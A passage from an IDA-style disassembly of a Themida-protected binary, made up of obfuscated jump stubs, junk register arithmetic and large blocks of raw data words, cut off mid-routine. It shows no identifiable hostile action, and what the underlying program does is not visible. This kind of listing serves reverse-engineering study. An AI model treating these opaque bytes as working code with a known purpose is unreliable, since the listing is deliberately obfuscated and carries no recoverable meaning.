		dd 5440E9D6h, 248BFFFFh, 5812E924h, 0DD290000h,	2F8FED81h
		dd 39E921C9h, 0B0FFFFC9h, 0CC8FE8Bh, 53D0F6C8h,	0F800D5B7h
		dd 4CC1805Bh, 0B8E9C128h, 83FFFFF6h, 348904ECh,	2474FF24h
		dd 48F5E04h, 0AAE95C24h, 53FFFF9Bh, 6C732568h, 4B4B5B3Ch
		dd 4FD0BF57h, 0C14F4375h, 0C78106E7h, 5B5D9083h, 895FFB31h
		dd 0D1315BDAh, 3A5F35Ah, 71683862h, 89000021h, 0E0892404h
		dd 405h, 42D00h, 4330000h, 24043124h, 5C240433h, 0BB241C89h
		dd 12796797h, 4D516855h, 27E959CAh, 5D000040h, 1C0BE9h
		dd 48F5C00h, 8890E924h,	81590000h, 0C7020BC3h, 8BDE01ECh
		dd 98E9241Ch, 81FFFFB2h, 966AB2F1h, 0CE60E947h,	0C481FFFFh
		dd 4, 33B868h, 241C8900h, 1A3D68h, 242C8900h, 515BF9BDh
		dd 5DEB8927h, 37ADEE81h, 0EE81143Dh, 5C9E1B2Ah,	4A45E9h
		dd 24048F00h, 0FC0095Ch, 0FF5F8284h, 285468FFh,	4890000h
		dd 1CB824h, 0BE560000h,	2A862F2Ch, 6807E6C1h, 66EBh, 0B8240489h
		dd 0D93A501Ch, 33E9C629h
		db 4Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55D177:				; CODE XREF: Themida_:0055B766j
		mov	[esp], ebx
		jmp	loc_552CC9
; ---------------------------------------------------------------------------
		db 54h
		dd 4C6815Eh, 83000000h,	348704EEh, 0A251E924h, 0EB80FFFFh
		dd 51EB0065h, 0DDBE9h, 5F545700h, 4C781h, 0EF830000h, 243C3304h
		dd 33243C31h, 895C243Ch, 0EC812404h, 4,	24048F54h, 4BD55h
		dd 6C010000h, 80E90424h, 5AFFFF8Fh, 0E9243C87h,	0A3Bh
		dd 0F75DE989h, 7DF1E9D1h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55D1E2:				; CODE XREF: Themida_:00553A4Bj
		jmp	loc_550420
; ---------------------------------------------------------------------------

loc_55D1E7:				; CODE XREF: Themida_:005636E9j
		mov	dl, 3Fh
		push	edx
		mov	dh, 0A3h
		add	dh, 8Dh
		jmp	loc_55E7B8
; ---------------------------------------------------------------------------
aWhld		db 'Whld',0
		align 2
aISa		db '‰<$éa$',0
		align 2
aFwsi		db 'FWé‰',27h,0
		dd 1C895C00h, 0BBB45024h, 2812B252h, 88515AD4h,	59EB88E5h
		dd 0D6B65258h, 0C05AF328h, 0CB8008EBh, 0DCC3808Dh, 0D800AD04h
		dd 5E2CE9h, 0B7E95000h,	89FFFFC6h, 0DDE9240Ch, 8BFFFF31h
		dd 32682424h, 0E9000005h, 2176h, 241C8966h, 0F82865B7h
		dd 0D0285B66h, 3672E9h,	0E9C62100h, 6AC3h, 61F0E952h, 0EC83FFFFh
		dd 241C8904h, 865F0ABBh, 10E95631h, 5F00007Dh, 0FF975DE9h
		dd 0DEBF57FFh, 0E951EA17h, 0FFFF5D27h
; ---------------------------------------------------------------------------

loc_55D290:				; CODE XREF: Themida_:005547A5j
		add	ecx, 4
		push	135Fh
		jmp	loc_554C01
; ---------------------------------------------------------------------------

loc_55D29D:				; CODE XREF: Themida_:00561138j
		pop	esi
		xor	ebp, [esp]
		jmp	loc_557D20
; ---------------------------------------------------------------------------
		dw 515Ah
		dd 0BD55E189h, 4, 0FF7B78E9h, 0F12BDFFh, 0EDC163AAh, 0C1DDF703h
		dd 0E4E906E5h
		db 48h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D2C7:				; CODE XREF: Themida_:00555195j
		xor	ebx, 2C256FE8h
		add	ebp, ebx
		jmp	loc_55C9BC
; ---------------------------------------------------------------------------
		dd 240C8B66h, 1554E9h, 0C3814B00h, 1, 2565BE56h, 0D6F71FE9h
		dd 6573CE81h, 0E6D11950h, 0E9F6814Eh, 81255238h, 16CE0FF6h
		dd 2EB81F3h, 2913C60Bh,	2C381F3h, 5E13C60Bh, 0B850DBF7h
		dd 1D8E2E21h, 0D1E9C301h, 6800001Ch, 7B909ECh, 25D0F758h
		dd 2D33737Eh, 0FFCC65E9h, 0E68956FFh, 0FF5E55E9h, 1C77FFFFh
		dd 1058669Dh, 0E99C2404h, 0FFFF30D8h, 460305ADh, 4B685267h
		dd 8900002Eh, 52E92414h, 87FFFF38h, 6CE92434h, 0C0FFFFF2h
		dd 0F76805EBh, 0E9000004h, 49A2h, 81E18951h, 4C1h, 4E98100h
		dd 87000000h, 545C240Ch, 5224048Fh, 4BAh, 24540100h, 24148B04h
		dd 5F04C483h, 5E08950h,	4, 8704E883h, 895C2404h, 0BB532404h
		dd 4, 1C8BD889h, 4C48324h, 5E9C701h, 55000087h,	0FFDB86E9h
		dd 0AAF181FFh, 171BE61h, 246859CBh, 89000015h, 4BE2434h
		dd 56000000h, 25224BEh,	0FCE6814Ch, 81089D1Fh, 0E155B1F6h
		dd 5EF3013Dh, 4EC81h, 4890000h,	56B1B824h, 0C3017253h
		dd 0FFD4EEE9h, 4C828FFh, 0E289526Eh, 0FF39A1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55D411:				; CODE XREF: Themida_:0056460Aj
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		push	6EDAh
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		jmp	loc_55B320
; ---------------------------------------------------------------------------
		db 68h,	1, 7Eh
		dd 34890000h, 24048124h, 60DB0ACFh, 0CFBE565Fh,	0E960DB0Ah
		dd 0FFFF335Dh, 1555E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55D45A:				; CODE XREF: Themida_:0056519Bj
		pop	eax
		pop	ebx
		shl	esi, 1
		shr	esi, 4
		and	esi, 24D56E5Ah
		sub	esi, 1
		push	ebp
		mov	ebp, 7DC36593h
		shl	ebp, 4
		and	ebp, 143A3B7Bh
		push	ebp
		sub	dword ptr [esp], 0FFFFFFFFh
		jmp	loc_55716F
; ---------------------------------------------------------------------------
		db 59h,	1, 0DEh
		dd 0C681585Bh, 2, 31243433h, 0CCE92434h, 5FFFF8Bh, 3C5FEAD4h
		dd 0C5E9C289h, 5200007Fh, 0C281E289h, 4, 4C281h, 14870000h
		dd 0D8215C24h, 0FF2434FFh, 68E92434h, 2800001Fh, 8B3604F0h
		dd 0C4832414h, 2693E904h, 0EB810000h, 0E1EEBB3Dh, 13D1E981h
		dd 0D901069Fh, 363EE952h, 0D301FFFFh, 57D3015Ah, 0FFAC7AE9h
		dd 0E18951FFh, 4873BE56h, 0F6810D6Ch, 6C6E7039h, 3861E681h
		dd 0BF5708FBh, 23844h, 0FFD7C8E9h, 405FFh, 4870000h, 79ECE924h
		dd 348B0000h, 4C48324h,	2C8BE901h, 4C48124h, 68000000h
		dd 8Bh,	0FF7621E9h, 5F6858FFh, 89000000h, 0FEE9242Ch, 5600000Eh
		dd 7D033BBEh, 4EEC149h,	38C4C681h, 0DEF729D8h, 0C102EEC1h
		dd 0C68108E6h, 0FC46F69h, 7D9EE981h, 0F1290CBBh, 7D9EC181h
		dd 348B0CBBh, 6C54E924h, 0C3300000h, 0E9C0B60Fh, 0FFFF7855h
		dd 0B2527B04h, 0E68956D9h, 4C681h, 14E90000h, 8B00003Bh
		dd 0C4832414h, 4EC8104h, 0E9000000h, 0FFFFC5D2h, 4240481h
		dd 0FF000000h, 835F2434h, 535104C4h, 0FFEF72E9h, 5AD488FFh
		dd 0E62867B6h, 0FED6F658h, 1EE80C6h, 5366D6F6h,	802EB252h
		dd 0DAF667C2h, 5B84E9h,	4C28100h, 87000000h, 685C2414h
		dd 18Eh, 0E9240C89h, 0FFFF43F2h, 57240C8Bh, 243C8B54h
		dd 81E38953h, 4C3h, 4C38300h, 5C241C87h, 4BA52h, 0EF810000h
		dd 338B1AAAh, 16E9D701h, 0FEFFFF54h, 0E9C8FEC8h, 3277h
		dd 9F9E955h, 0C1810000h, 4, 4B850h, 0C1010000h,	240C8758h
		dd 0EC834E5Ch, 0B923E904h, 0C483FFFFh, 0E0895004h, 405h
		dd 4E88300h, 5C240487h,	0B9240C89h, 4, 3BE9CE01h, 8100007Fh
		dd 4EEh, 24348700h, 0A66E95Ch, 81430000h, 4755C7CBh, 0BCC3814Fh
		dd 894AADBFh, 68FBE9DAh, 1C87FFFFh, 0C2815C24h,	7050C95h
		dd 0FF7A80E9h, 65C281FFh, 0FF18A526h, 83592434h, 0B85004C4h
		dd 2, 2478EA81h, 0AAE9655Eh, 5EFFFFE8h,	5204E9C1h, 0FFF9C2E9h
		dd 0D5BA52FFh, 130CD63h, 0FD015AD5h, 514DBE56h,	0E68158C5h
		dd 12DE3EE3h, 1E09E9h, 0EEC15E00h, 31D63102h, 48D7E9F2h
		dd 0E9580000h, 0FFFF90B1h, 88241C89h, 6282E9D7h, 6C01FFFFh
		dd 44810424h, 5DBE0424h, 6C813903h, 2E100424h, 34FF7271h
		dd 6E07E924h, 0DF010000h, 4C7815Bh, 87000000h, 875C243Ch
		dd 248B2414h, 6E196824h, 8CE90000h, 0BB00002Ah,	56932B76h
		dd 0C90AFFBFh, 26CF8142h, 0F77F746Ah, 56D7F7D7h, 6A3F87BEh
		dd 5EF72929h, 1C8BDF29h, 0D06DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D766:				; CODE XREF: Themida_:0055F91Dj
		sub	esi, edx
		pop	edx
		dec	esi
		or	esi, 703B1B91h
		sub	esi, 44732BD0h
		xor	esi, 4FD472E2h
		jmp	loc_5533CF
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 81243C8Bh, 4C4h, 0E1895100h,	3118E9h, 34746800h, 0C890000h
		dd 75D4E924h, 0C9810000h, 439002E2h, 81D9F749h,	0C74540C1h
		dd 0A5C1814Ah, 1B13442h, 5904244Ch, 0C2E95359h,	8B000057h
		dd 0ADE92414h, 57FFFF58h, 0D0228968h, 0FE215F69h, 0E277E95Fh
		dd 3540FFFFh, 41830A7Bh, 0E958C601h, 0BD3h, 2301E955h
		dd 51680000h, 89000047h, 68522434h, 0E170BB3h, 0FFEA835Ah
		dd 0D1F7CA87h, 0BD55CA87h, 44A02F89h, 9503E5C1h, 0F5819540h
		dd 0C02CD631h, 0FFB2F2E9h, 52F088FFh, 0D788C288h, 0E924148Bh
		dd 0FFFFBC13h, 0EB80D904h, 0E9C30011h, 0FFFF6961h, 515FC281h
		dd 0C28149B9h, 3A836982h, 4E54E9h, 11BE5600h, 3109E562h
		dd 2DE1E9F2h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55D856:				; CODE XREF: Themida_:0055D9B1j
		mov	edi, ebp
		pop	ebp
		and	edi, 2C5908C1h
		or	edi, 7F6F577Ah
		push	edx
		push	5FECh
		mov	[esp], esi
		mov	esi, 3A12C99h
		mov	edx, esi
		pop	esi
		shr	edx, 4
		dec	edx
		shr	edx, 7
		push	esi
		mov	esi, 1DFE27CCh
		not	esi
		xor	esi, 97DADFE9h
		sub	edx, 1F403C05h
		add	edx, esi
		jmp	loc_5547AA
; ---------------------------------------------------------------------------
		dd 15EF029h, 3C8B58C3h,	4C48324h, 7051C381h, 0C281594Eh
		dd 53337E02h, 0BE56C201h, 4BB44CC1h, 1E21E9h, 242C8B00h
		dd 4C481h, 48F0000h, 0C4815C24h, 4, 6069BD55h, 0E94D62C2h
		dd 50C7h, 4C281h, 52560000h, 0F6247FBAh, 2883E930h, 4C310000h
		dd 72E90424h, 0BB000019h, 554707D0h, 0D3E9DD01h, 0BB000057h
		dd 2, 0A7E9DD01h, 0C1000083h, 0EC8107E1h, 4, 0E9243489h
		dd 1F7Bh, 0E9240C89h, 0FFFF2FC0h, 117368h, 24348900h, 715142BEh
		dd 5EF22129h, 2F3EE281h, 2DE96B78h, 5C000052h, 0FF243C89h
		dd 5F042474h, 0E924048Fh, 671Bh, 4C3BE181h, 0C9816CBBh
		dd 3674284Bh, 81D1F749h, 92301AE9h, 0C8F18127h,	31CB7127h
		dd 0FBE959CFh
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D977:				; CODE XREF: Themida_:005532C0j
		not	dword ptr [esp]
		jmp	loc_5630AE
; ---------------------------------------------------------------------------
		db 5Bh
		dd 5C24048Fh, 8904EC83h, 4B82404h, 81000000h, 73388DEEh
		dd 81C60101h, 73388DC6h, 0B481E901h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D9A2:				; CODE XREF: Themida_:00565561j
		mov	[esp], edi
		push	ebp
		mov	ebp, 254C5178h
		add	ebp, 5871E48h
		jmp	loc_55D856
; ---------------------------------------------------------------------------
		dw 0E8C1h
		dd 0E9E0D106h, 5728h, 505DEA01h, 80DCE9h, 243C8900h, 4BFh
		dd 0E0CBE900h, 74FFFFFFh, 0E95A0424h, 6B7Bh
; ---------------------------------------------------------------------------

loc_55D9E0:				; CODE XREF: Themida_:00554641j
		add	esp, 4
		jmp	loc_55B420
; ---------------------------------------------------------------------------
		dd 0BD242C89h, 4321361Eh, 67E9B850h, 0C30127B8h, 56EB2958h
		dd 0D3416BBEh, 0BD87E931h, 8957FFFFh, 0D2B9E9E7h, 0C481FFFFh
		dd 4, 4BF57h, 38E90000h, 58FFFFCEh, 0C106EFC1h,	0C78105EFh
		dd 186ECB2Ah, 815FFB89h, 6B0C9AEDh, 81DD296Ah, 6B0C9AC5h
		dd 66BEE96Ah, 34FF0000h, 24048B24h, 6804C483h, 4BADh, 89242C89h
		dd 0D7E957E5h, 81000075h, 7E1510EDh, 5DE8013Bh,	0DDE9C389h
		dd 5FFFF36h, 6A123BABh,	52242C8Bh, 0C281E289h, 4, 4C281h
		dd 0AEE90000h, 40FFFF41h, 0FF7BAAE9h, 0D5F795FFh, 35D0F795h
		dd 0E755D346h, 46FCC581h, 0BAE95537h, 89FFFF44h, 0DB9240Ch
		dd 91DB03Fh, 2DAEE9CDh,	8951FFFFh, 2437E9E1h, 0E3810000h
		dd 2107326h, 549C68h, 240C8900h, 55CD24B9h, 0E9CB29E0h
		dd 68B8h, 83240C8Bh, 79E904C4h,	6600000Dh, 4017E95Ah, 0C981FFFFh
		dd 4461BAh, 7C20E981h, 0F1811C57h, 26933250h, 0C508E981h
		dd 0CB017081h, 592434FFh, 104C483h, 38B951C3h, 8172B20Ch
		dd 5D516DF1h, 8E9C115h,	6D69E9h, 5BF9BE00h, 0F7892751h
		dd 0B567E95Eh, 0BAFFFFh, 813CB56Dh, 0A120BEC2h,	65EA812Bh
		dd 5032A679h, 57CDE9h
		db 0
; ---------------------------------------------------------------------------

loc_55DB41:				; CODE XREF: Themida_:00562925j
		push	edi
		mov	edi, 218B0B9Bh
		push	971h
		mov	[esp], esi
		mov	esi, 11FE1725h
		or	edi, esi
		pop	esi
		shr	edi, 6
		xor	edi, 3A4D3FC2h
		shr	edi, 7
		dec	edi
		xor	edi, 5CA3AE4h
		jmp	loc_556046
; ---------------------------------------------------------------------------
		db 81h
		dd 93D21C5h, 72C58169h,	0E9A89474h, 5816h, 6678B151h, 97B252h
		dd 805A66D1h, 0B65291E9h, 5AF1202Dh, 5208E1C0h,	5EE981B6h
		db 60h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55DB9F:				; CODE XREF: Themida_:00561828j
		xor	ebp, 2BA9421Ah
		jmp	loc_55BF18
; ---------------------------------------------------------------------------

loc_55DBAA:				; CODE XREF: Themida_:0055AD67j
		mov	[esp], edi
		jmp	loc_562715
; ---------------------------------------------------------------------------
aUske		db 'UéŞE',0
		align 4
		dd 4C581h, 37E90000h, 58FFFFB8h, 5C243C87h, 0E956C301h
		dd 0FFFFEDAEh, 0D15FF921h, 0FDC181E1h, 0E91A6C9Ah, 0FFFF58F1h
		dd 4B9515Ch, 1000000h, 455BE9C8h, 0F749FFFFh, 45C181D1h
		dd 895B7D51h, 540159CAh, 5B5A0424h, 4C381h, 0F5680000h
		dd 89000048h, 0A2E9242Ch, 8BFFFFF6h, 0E9572424h, 0FFFFC1C6h
		dd 5A2434FFh, 707E9h, 241C3300h, 33241C31h, 248B241Ch
		dd 330DE924h, 0C3810000h, 0B0C8C811h, 1C8BDF01h, 4C48324h
		dd 5C243C87h, 0FF386DE9h, 54D8BBFFh, 92E9598Ch,	52FFFF4Eh
		dd 9369EFBAh, 0FFEA8143h, 0C1FFFFFFh, 0C28107EAh, 45156B32h
		dd 0E9E2D14Ah, 0FFFFC22Ch, 5624048Bh, 0C6815E54h, 4, 1C58E9h
		dd 0E9C82800h, 0FFFF4E1Bh, 5E2434FFh, 0FFF99BE9h, 4EC81FFh
		dd 89000000h, 7BE2434h,	57FBCE5h, 88344D6h, 2678BB53h
		dd 0D82901D2h, 0FF8F19E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55DCB5:				; CODE XREF: Themida_:00562DD3j
		add	ebp, 4
		jmp	loc_559B22
; ---------------------------------------------------------------------------
		dd 0FF275BE9h, 2474FFFFh, 24048B04h, 4C481h, 48F0000h
		dd 24248B24h, 0E9240C89h, 66D7h, 2434895Ch, 0AB1158BEh
		dd 0B041E935h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55DCEE:				; CODE XREF: Themida_:00564C0Fj
		shr	esi, 7
		xor	esi, 206A3F54h
		sub	eax, esi
		mov	esi, [esp]
		jmp	loc_554ECD
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 4050000h, 33000000h,	4312404h, 24043324h, 21C1685Ch
		dd 3C890000h, 68565024h, 665C2100h, 0FFCC50E9h,	2404FFFFh
		dd 4DEF875Fh, 3D2DE9h
		db 0
; ---------------------------------------------------------------------------

loc_55DD35:				; CODE XREF: Themida_:00556F8Dj
		mov	ecx, [esp]
		add	esp, 4
		add	eax, edi
		add	eax, 16145A36h
		jmp	loc_558D85
; ---------------------------------------------------------------------------

loc_55DD4A:				; CODE XREF: Themida_:00551DE8j
		add	edx, 0F4017483h
		mov	eax, edx
		pop	edx
		push	eax
		mov	eax, 1F59481Ch
		add	ecx, 707750B7h
		jmp	loc_565CA9
; ---------------------------------------------------------------------------
		dd 612EC581h, 0DDF73690h, 8AEBE955h, 48BFFFFh, 4C48324h
		dd 0E9E28952h, 0FFFFB837h, 0D4068h, 2F9CE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55DD8A:				; CODE XREF: Themida_:0055C122j
		push	eax
		mov	eax, 7B8719E3h
		add	[esp+4], eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_565510
; ---------------------------------------------------------------------------
		db 81h
		dd 0C42039C6h, 32EE8177h, 81758E11h, 582B83C6h,	0D472E93Eh
		dd 65E9FFFFh, 83FFFF26h, 0A205FFC0h, 0E948D63Fh, 0FFFF74A7h
		dd 0B05F801h, 5F38002Eh, 0FFD898E9h, 4C481FFh, 31000000h
		dd 8F66C3h, 0FF263BE9h,	58C501FFh, 0E95DEB29h, 6C73h, 0CDF18159h
		dd 0E9274157h, 0FFFF6AB6h, 361CBA52h, 0D2F70679h, 0EAEE281h
		dd 81423B74h, 7F258AF2h, 88EDE91Dh, 0C381FFFFh,	4, 5304EB83h
		dd 0FF76E3E9h, 0E930B2FFh, 0FFFFF205h, 815EF129h, 652A25F1h
		dd 0CEBB5375h, 0E925F12Fh, 6068h
; ---------------------------------------------------------------------------

loc_55DE40:				; CODE XREF: Themida_:00555B69j
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		jmp	loc_5514E6
; ---------------------------------------------------------------------------
		db 0B6h
		dd 0E9F000D0h, 0FFFF4B56h, 2BFh, 0E9F88900h, 0FFFF97E0h
		dd 0F381DBF7h, 0F9F825FFh, 1D79E9h, 24043100h, 5DB4E99Ch
		dd 0A1E90000h, 8BFFFF25h, 0C483241Ch, 54505304h, 40558h
		dd 0E8830000h, 24048704h, 2414895Ch, 82682AB6h,	89000041h
		dd 76E92404h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55DEA7:				; CODE XREF: Themida_:0055783Ej
		not	ch
		inc	ch
		or	ch, 90h
		xor	ch, 3Ah
		push	eax
		mov	ah, 0A0h
		add	ah, 0D9h
		add	ch, 0BCh
		add	ch, ah
		jmp	loc_550621
; ---------------------------------------------------------------------------
		db 33h,	0Ch, 24h
		dd 0E9E1F65Ch, 7CCBh, 0CD25E951h, 54BAFFFFh, 8129EC01h
		dd 13FEB0C2h, 0ABBCE9D6h, 2968FFFFh, 0E900006Eh, 0FFFFF0B5h
; ---------------------------------------------------------------------------

loc_55DEEC:				; CODE XREF: Themida_:0055557Bj
		add	esp, 4
		push	1DFCh
		jmp	loc_5607C7
; ---------------------------------------------------------------------------
		dd 33243C31h, 0D25C243Ch, 0E99C243Ch, 0FFFF2514h, 9D1C77FFh
		dd 11665866h, 0E99C2404h, 0FFFF2504h, 24048B66h, 0E9E18951h
		dd 288Eh
; ---------------------------------------------------------------------------

loc_55DF28:				; CODE XREF: Themida_:0056066Ej
		xor	eax, edi
		xor	edi, eax
		jmp	loc_55CD39
; ---------------------------------------------------------------------------
		db 5, 0DFh, 23h
		dd 0F02909FAh, 0FA23DF2Dh, 0E7BB5309h, 0D160D97Eh, 0C0C381EBh
		dd 81240C6Bh, 0F11210E3h, 9DE95715h, 0FE000043h, 1DACE9C1h
		dd 0C3810000h, 4, 5C241C87h, 2C8BEA01h,	4C48124h, 0E9000000h
		dd 36B0h, 90E965B1h, 5B00001Bh,	47D1BE56h, 0F6816124h
		dd 612447D5h, 5AE9F301h, 0ADFFFFC2h, 9565E957h,	0DE68FFFFh
		dd 89000034h, 53E92434h, 0BE000058h, 4972AB7h, 0D8BCE81h
		dd 0F6813A07h, 55AD28C5h, 0FFDBC9E9h, 7E6C1FFh,	0F681DEF7h
		dd 92588643h, 8EE9F029h, 81FFFF3Eh, 4ECh, 24248900h, 14F7E9h
		dd 0EED8100h, 0E97CD141h, 0FFFF4A0Fh, 835DE801h, 2FE902C0h
		dd 81000052h, 4C1h, 4C18100h, 51000000h, 42474FFh, 24048F59h
		dd 5DD5E9h, 24048900h, 0E9565854h, 0FFFFE448h
; ---------------------------------------------------------------------------

loc_55E018:				; CODE XREF: Themida_:00554CEBj
		mov	dh, 0CBh
		mov	al, dh
		pop	edx
		jmp	loc_557E4A
; ---------------------------------------------------------------------------
		dw 2A68h
		dd 89000015h, 0DEE9241Ch, 89FFFF9Ch, 4C581E5h, 83000000h
		dd 2C8704C5h, 0C875C24h, 34FF5C24h, 2C685924h, 8900002Ch
		dd 0E956243Ch, 0FFFF2D3Ah
; ---------------------------------------------------------------------------

loc_55E054:				; CODE XREF: Themida_:00556A86j
		and	edx, ecx
		jmp	loc_55B607
; ---------------------------------------------------------------------------
		db 2Dh
		dd 9307C03h, 12C68h, 243C8900h,	0F57843BFh, 1BDB2D07h
		dd 0AA057DA8h, 0E9221762h, 0FFFFEA8Dh, 243C895Ch, 0FA89EF89h
		dd 0FFECCAE9h, 148B66FFh, 2C48324h, 0A3B55153h,	0FF6C9AE9h
		dd 0A9E980FFh, 7480E9h,	0E9515700h, 75C7h, 0E9243C8Bh
		dd 514Dh, 24048966h, 0E33055B4h, 0B5515866h, 0C5ED80A0h
		dd 80E8B652h, 0EE805CCEh, 5AF52020h, 2995E9h, 24143300h
		dd 8924248Bh, 0EC81241Ch, 4, 0E9242489h, 0FFFF57A3h, 0BF243C89h
		dd 3E6028ECh, 0A872E956h, 15FFFFFh, 780CE9C8h, 0E9590000h
		dd 0FFFFCAB7h, 8704C183h, 525C240Ch, 0EC81E289h, 4, 0E9242C89h
		dd 0FFFFCB8Ah, 57E8E952h, 148BFFFFh, 7105E924h,	0B8500000h
		dd 61F80844h, 0FFCA24E9h, 7862B8FFh, 0B0E93DFFh, 80FFFF31h
		dd 0CC8084F4h, 8DE0E99Ch, 481FFFFh, 424h, 0EBE95E00h, 8BFFFFC6h
		dd 0C1E92424h
		db 22h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E15F:				; CODE XREF: Themida_:00554338j
		add	edi, edx
		pop	edx
		xchg	edi, [esp]
		pop	esp
		and	ecx, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		shr	ecx, 2
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5649F2
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 9B5028BAh, 5AD5291Bh, 0F42E958h, 0FDBB0000h,	214C4107h
		dd 2434FFDAh, 0DE3BE95Bh, 814EFFFFh, 727BFDC6h,	0CC80E983h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E1B2:				; CODE XREF: Themida_:0055CC28j
		add	eax, 2DA056E9h
		sub	eax, ecx
		sub	eax, 2DA056E9h
		sub	eax, 61D37602h
		jmp	loc_55BF7B
; ---------------------------------------------------------------------------
		dd 0E95FF801h, 6D29h, 0BB535854h, 0E025DF4h, 0A3685552h
		dd 5D6B2568h, 9E74E94Dh, 8305FFFFh, 14F140Eh, 0E832DD8h
		dd 34FF4F14h, 68535B24h, 74FEh,	6112E9h, 35EE8100h, 0F73E9924h
		dd 0C3E955D6h, 89000020h, 43BA2414h, 0E95CB215h, 0FFFFAD2Fh
; ---------------------------------------------------------------------------

loc_55E21C:				; CODE XREF: Themida_:005566CFj
		add	esp, 4
		add	ecx, 0FFFFFFFFh
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 47D940DDh
		add	eax, 0EAAE2CEEh
		and	ecx, eax
		pop	eax
		sub	ecx, 31E36D92h
		xor	ecx, 3F7B5C12h
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 0CFD8A021h
		jmp	loc_5526BF
; ---------------------------------------------------------------------------
		dd 4EC81h, 60E90000h
		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E25F:				; CODE XREF: Themida_:0055848Ej
		add	esp, 4
		push	ecx
		jmp	loc_55C992
; ---------------------------------------------------------------------------

loc_55E268:				; CODE XREF: Themida_:00564590j
		mov	eax, 6F116060h
		xor	eax, esi
		jmp	loc_564F73
; ---------------------------------------------------------------------------
		dd 0C581C501h, 0F9235C2h, 46FCED81h, 48B5537h, 4C48124h
		dd 51000000h, 2204B850h, 932D01DCh, 0C17E8C3Fh,	5E6808E8h
		dd 0E900005Eh, 0FFFF5B35h, 0F01C472Dh, 696DE93Fh, 5004FFFFh
		dd 0CECBE952h, 595FFFFFh, 34FFD821h, 241C8B24h,	6804C483h
		dd 41AFh, 0FF5D05E9h, 1C895CFFh, 2474FF24h, 48F5B04h, 5768E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55E2DE:				; CODE XREF: Themida_:00558BD0j
		push	77C4h
		mov	[esp], edi
		mov	edi, 580059DAh
		jmp	loc_561800
; ---------------------------------------------------------------------------
		dd 49A2F581h, 0ED813AC4h, 0E9DF928Bh, 515DE931h, 0C181E189h
		dd 4, 4E981h, 0C870000h, 0C895C24h, 5128E924h, 0E0BD0000h
		dd 0B861371Eh, 0DFA32926h, 0E95DE829h, 0FFFF31E1h, 81E38953h
		dd 4C3h, 4C38300h, 2474FF53h, 8EE95B04h, 68FFFFB0h, 48DB062Eh
		dd 0FFBF5DE9h, 74C281FFh, 5025566Dh, 0ABB95152h, 8115DC3Dh
		dd 77535CC1h, 6DE98157h, 4163A65Fh, 8106E1C1h, 2EE960C1h
		dd 59CA89B2h, 0FFAA27E9h, 9BE981FFh, 8101CF44h,	5F290EC1h
		dd 7EAFB87Dh, 0C8294F9Ah, 5EC68159h, 1799A23h, 4BE953C6h
		db 34h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55E39B:				; CODE XREF: Themida_:005511D4j
		sub	[esp+4], ebp
		jmp	loc_56434E
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55F2A9
; ---------------------------------------------------------------------------
		db 29h
		dd 6FEE81FEh, 511D3F22h, 0C10EEEB9h, 0F7D9F743h, 47BDE9D9h
		dd 6855FFFFh, 63D05E8Fh, 7C68535Dh, 5B622106h, 5506E3C1h
		dd 0D260A8BDh, 0E73E918h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55E3EE:				; CODE XREF: Themida_:0055200Fj
		add	esp, 4
		push	edi
		jmp	loc_56107C
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 2414D259h, 201AE99Ch, 6C81FFFFh, 7B20824h
		dd 44811A8Fh, 32580824h, 37E97D53h, 5EFFFF2Ah, 0F704EFC1h
		dd 0ACF81D7h, 813C6214h, 8C6343EFh, 8EFC17Bh, 46C6EF81h
		dd 0FB29ABCAh, 1EAE9h, 4AC78100h, 1408E99h, 0C8015FF9h
		dd 0FFA8A9E9h, 0DDE952FFh, 50000041h, 413459B8h, 0F2BF5702h
		dd 8914F4F3h, 0C3015FFBh, 1012E9h, 81DAF700h, 0EEBE8EF2h
		dd 86BE56EEh, 122EB61h,	0D3015EF3h, 6186EB81h, 148B22EBh
		dd 4C48324h, 0FFF62DE9h, 243C87FFh, 6FE9515Ch, 57FFFF28h
		dd 42474FFh, 81243C8Bh,	4C4h, 24048F00h, 8024248Bh, 42E96DEBh
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E4B3:				; CODE XREF: Themida_:00562343j
		mov	ah, 0C0h
		push	ecx
		sub	esp, 4
		mov	[esp], edx
		mov	dh, ah
		mov	ch, dh
		mov	edx, [esp]
		add	esp, 4
		inc	ch
		mov	ah, ch
